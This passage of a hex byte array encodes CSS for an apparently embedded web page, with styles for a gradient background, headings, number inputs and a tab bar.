0x68, 0x74, 0x3A, 0x20, 0x31, 0x2E, 0x36, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x72, + 0x65, 0x6C, 0x61, 0x74, 0x69, 0x76, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x76, + 0x65, 0x72, 0x66, 0x6C, 0x6F, 0x77, 0x2D, 0x78, 0x3A, 0x20, 0x68, 0x69, + 0x64, 0x64, 0x65, 0x6E, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x69, 0x6E, 0x2D, 0x68, + 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x31, 0x30, 0x30, 0x76, 0x68, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x2D, 0x77, 0x65, 0x62, 0x6B, 0x69, 0x74, 0x2D, 0x66, + 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x6D, 0x6F, 0x6F, 0x74, 0x68, 0x69, 0x6E, + 0x67, 0x3A, 0x20, 0x61, 0x6E, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x61, 0x73, + 0x65, 0x64, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x6D, 0x6F, 0x7A, 0x2D, 0x6F, 0x73, + 0x78, 0x2D, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x6D, 0x6F, 0x6F, 0x74, + 0x68, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x67, 0x72, 0x61, 0x79, 0x73, 0x63, + 0x61, 0x6C, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x45, 0x6E, 0x68, 0x61, 0x6E, 0x63, + 0x65, 0x64, 0x20, 0x42, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, + 0x64, 0x20, 0x45, 0x66, 0x66, 0x65, 0x63, 0x74, 0x20, 0x2A, 0x2F, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x64, + 0x79, 0x3A, 0x3A, 0x62, 0x65, 0x66, 0x6F, 0x72, 0x65, 0x20, 0x7B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x27, 0x27, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, + 0x20, 0x66, 0x69, 0x78, 0x65, 0x64, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x6F, 0x70, + 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x65, 0x66, 0x74, 0x3A, 0x20, + 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x31, + 0x30, 0x30, 0x25, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x69, 0x67, 0x68, 0x74, + 0x3A, 0x20, 0x31, 0x30, 0x30, 0x25, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, + 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x3A, 0x20, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x72, 0x61, 0x64, 0x69, 0x61, 0x6C, 0x2D, 0x67, 0x72, + 0x61, 0x64, 0x69, 0x65, 0x6E, 0x74, 0x28, 0x63, 0x69, 0x72, 0x63, 0x6C, + 0x65, 0x20, 0x61, 0x74, 0x20, 0x32, 0x30, 0x25, 0x20, 0x32, 0x30, 0x25, + 0x2C, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x31, 0x35, 0x36, 0x2C, 0x20, + 0x33, 0x39, 0x2C, 0x20, 0x31, 0x37, 0x36, 0x2C, 0x20, 0x30, 0x2E, 0x31, + 0x35, 0x29, 0x2C, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x70, 0x61, 0x72, + 0x65, 0x6E, 0x74, 0x20, 0x34, 0x30, 0x25, 0x29, 0x2C, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x72, 0x61, 0x64, 0x69, 0x61, 0x6C, 0x2D, 0x67, 0x72, + 0x61, 0x64, 0x69, 0x65, 0x6E, 0x74, 0x28, 0x63, 0x69, 0x72, 0x63, 0x6C, + 0x65, 0x20, 0x61, 0x74, 0x20, 0x38, 0x30, 0x25, 0x20, 0x38, 0x30, 0x25, + 0x2C, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x32, 0x35, 0x35, 0x2C, 0x20, + 0x31, 0x30, 0x37, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x31, 0x35, + 0x29, 0x2C, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x70, 0x61, 0x72, 0x65, + 0x6E, 0x74, 0x20, 0x34, 0x30, 0x25, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x72, 0x61, 0x64, 0x69, 0x61, 0x6C, 0x2D, 0x67, 0x72, 0x61, + 0x64, 0x69, 0x65, 0x6E, 0x74, 0x28, 0x63, 0x69, 0x72, 0x63, 0x6C, 0x65, + 0x20, 0x61, 0x74, 0x20, 0x35, 0x30, 0x25, 0x20, 0x35, 0x30, 0x25, 0x2C, + 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x31, 0x35, 0x36, 0x2C, 0x20, 0x33, + 0x39, 0x2C, 0x20, 0x31, 0x37, 0x36, 0x2C, 0x20, 0x30, 0x2E, 0x31, 0x29, + 0x2C, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x70, 0x61, 0x72, 0x65, 0x6E, + 0x74, 0x20, 0x36, 0x30, 0x25, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x72, 0x65, 0x70, 0x65, 0x61, 0x74, 0x69, 0x6E, 0x67, 0x2D, 0x6C, + 0x69, 0x6E, 0x65, 0x61, 0x72, 0x2D, 0x67, 0x72, 0x61, 0x64, 0x69, 0x65, + 0x6E, 0x74, 0x28, 0x34, 0x35, 0x64, 0x65, 0x67, 0x2C, 0x20, 0x72, 0x67, + 0x62, 0x61, 0x28, 0x31, 0x35, 0x36, 0x2C, 0x20, 0x33, 0x39, 0x2C, 0x20, + 0x31, 0x37, 0x36, 0x2C, 0x20, 0x30, 0x2E, 0x30, 0x33, 0x29, 0x20, 0x30, + 0x70, 0x78, 0x2C, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x31, 0x35, 0x36, + 0x2C, 0x20, 0x33, 0x39, 0x2C, 0x20, 0x31, 0x37, 0x36, 0x2C, 0x20, 0x30, + 0x2E, 0x30, 0x33, 0x29, 0x20, 0x31, 0x70, 0x78, 0x2C, 0x20, 0x74, 0x72, + 0x61, 0x6E, 0x73, 0x70, 0x61, 0x72, 0x65, 0x6E, 0x74, 0x20, 0x31, 0x70, + 0x78, 0x2C, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x70, 0x61, 0x72, 0x65, + 0x6E, 0x74, 0x20, 0x31, 0x30, 0x70, 0x78, 0x29, 0x2C, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x72, 0x65, 0x70, 0x65, 0x61, 0x74, 0x69, 0x6E, 0x67, + 0x2D, 0x6C, 0x69, 0x6E, 0x65, 0x61, 0x72, 0x2D, 0x67, 0x72, 0x61, 0x64, + 0x69, 0x65, 0x6E, 0x74, 0x28, 0x2D, 0x34, 0x35, 0x64, 0x65, 0x67, 0x2C, + 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x32, 0x35, 0x35, 0x2C, 0x20, 0x31, + 0x30, 0x37, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x30, 0x33, 0x29, + 0x20, 0x30, 0x70, 0x78, 0x2C, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x32, + 0x35, 0x35, 0x2C, 0x20, 0x31, 0x30, 0x37, 0x2C, 0x20, 0x30, 0x2C, 0x20, + 0x30, 0x2E, 0x30, 0x33, 0x29, 0x20, 0x31, 0x70, 0x78, 0x2C, 0x20, 0x74, + 0x72, 0x61, 0x6E, 0x73, 0x70, 0x61, 0x72, 0x65, 0x6E, 0x74, 0x20, 0x31, + 0x70, 0x78, 0x2C, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x70, 0x61, 0x72, + 0x65, 0x6E, 0x74, 0x20, 0x31, 0x30, 0x70, 0x78, 0x29, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x7A, 0x2D, 0x69, 0x6E, 0x64, 0x65, 0x78, 0x3A, 0x20, 0x2D, 0x31, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x2D, 0x65, 0x76, + 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, + 0x20, 0x43, 0x6F, 0x6E, 0x74, 0x61, 0x69, 0x6E, 0x65, 0x72, 0x20, 0x53, + 0x74, 0x79, 0x6C, 0x65, 0x73, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x63, 0x6F, 0x6E, 0x74, 0x61, + 0x69, 0x6E, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x78, 0x2D, + 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x39, 0x30, 0x30, 0x70, 0x78, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, 0x30, + 0x20, 0x61, 0x75, 0x74, 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, + 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x72, 0x65, + 0x6C, 0x61, 0x74, 0x69, 0x76, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7A, 0x2D, 0x69, + 0x6E, 0x64, 0x65, 0x78, 0x3A, 0x20, 0x31, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x54, 0x79, + 0x70, 0x6F, 0x67, 0x72, 0x61, 0x70, 0x68, 0x79, 0x20, 0x2A, 0x2F, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x31, 0x2C, + 0x20, 0x68, 0x32, 0x2C, 0x20, 0x68, 0x33, 0x20, 0x7B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, + 0x6F, 0x6E, 0x74, 0x2D, 0x66, 0x61, 0x6D, 0x69, 0x6C, 0x79, 0x3A, 0x20, + 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x64, + 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, + 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x74, + 0x65, 0x78, 0x74, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x29, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x61, 0x6C, 0x69, 0x67, + 0x6E, 0x3A, 0x20, 0x63, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, 0x32, 0x72, 0x65, 0x6D, + 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x77, 0x65, + 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x36, 0x30, 0x30, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x6C, 0x65, 0x74, 0x74, 0x65, 0x72, 0x2D, 0x73, 0x70, 0x61, 0x63, 0x69, + 0x6E, 0x67, 0x3A, 0x20, 0x2D, 0x30, 0x2E, 0x30, 0x32, 0x65, 0x6D, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, + 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, + 0x31, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x69, + 0x7A, 0x65, 0x3A, 0x20, 0x32, 0x2E, 0x35, 0x72, 0x65, 0x6D, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x3A, + 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x67, 0x72, 0x61, 0x64, 0x69, + 0x65, 0x6E, 0x74, 0x2D, 0x31, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x77, 0x65, + 0x62, 0x6B, 0x69, 0x74, 0x2D, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, + 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6C, 0x69, 0x70, 0x3A, 0x20, 0x74, 0x65, + 0x78, 0x74, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x77, 0x65, 0x62, 0x6B, 0x69, 0x74, + 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x66, 0x69, 0x6C, 0x6C, 0x2D, 0x63, + 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x70, + 0x61, 0x72, 0x65, 0x6E, 0x74, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, + 0x69, 0x6E, 0x2D, 0x74, 0x6F, 0x70, 0x3A, 0x20, 0x33, 0x72, 0x65, 0x6D, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x69, 0x6E, 0x70, 0x75, 0x74, 0x3A, 0x3A, 0x2D, 0x77, 0x65, 0x62, 0x6B, + 0x69, 0x74, 0x2D, 0x6F, 0x75, 0x74, 0x65, 0x72, 0x2D, 0x73, 0x70, 0x69, + 0x6E, 0x2D, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x2C, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, + 0x3A, 0x3A, 0x2D, 0x77, 0x65, 0x62, 0x6B, 0x69, 0x74, 0x2D, 0x69, 0x6E, + 0x6E, 0x65, 0x72, 0x2D, 0x73, 0x70, 0x69, 0x6E, 0x2D, 0x62, 0x75, 0x74, + 0x74, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x77, 0x65, 0x62, 0x6B, + 0x69, 0x74, 0x2D, 0x61, 0x70, 0x70, 0x65, 0x61, 0x72, 0x61, 0x6E, 0x63, + 0x65, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x70, + 0x70, 0x65, 0x61, 0x72, 0x61, 0x6E, 0x63, 0x65, 0x3A, 0x20, 0x6E, 0x6F, + 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, + 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x54, 0x61, 0x62, 0x73, 0x20, 0x53, 0x74, + 0x79, 0x6C, 0x69, 0x6E, 0x67, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x61, 0x62, 0x20, 0x7B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x66, + 0x6C, 0x65, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6A, 0x75, 0x73, 0x74, 0x69, 0x66, + 0x79, 0x2D, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x73, + 0x70, 0x61, 0x63, 0x65, 0x2D, 0x61, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, + 0x69, 0x75, 0x73, 0x3A, 0x20, 0x31, 0x32, 0x70, 0x78, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, + 0x6D, 0x3A, 0x20, 0x33, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, + 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x34, 0x70, 0x78, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, + 0x61, 0x62, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x6D, 0x61, 0x78, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, + 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6C, 0x65, 0x78, 0x3A, + 0x20, 0x31, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, + 0x75, 0x6E, 0x64, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, + 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x36, 0x70, 0x78, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x6F, 0x75, 0x74, 0x6C, 0x69, 0x6E, 0x65, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, + 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, 0x3A, 0x20, + 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, + 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x31, 0x35, 0x70, 0x78, 0x20, + 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, + 0x30, 0x20, 0x32, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, + 0x2D, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x31, 0x38, 0x70, 0x78, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, + 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, + 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, + 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, + 0x3A, 0x20, 0x23, 0x33, 0x31, 0x31, 0x66, 0x31, 0x33, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x74, 0x72, 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, + 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, + 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x33, 0x73, 0x2C, 0x20, 0x63, + 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x33, 0x73, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x61, + 0x62, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x3A, 0x66, 0x69, 0x72, + 0x73, 0x74, 0x2D, 0x63, 0x68, 0x69, 0x6C, 0x64, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x6C, 0x65, 0x66, 0x74, 0x3A, + 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x2E, 0x74, 0x61, 0x62, 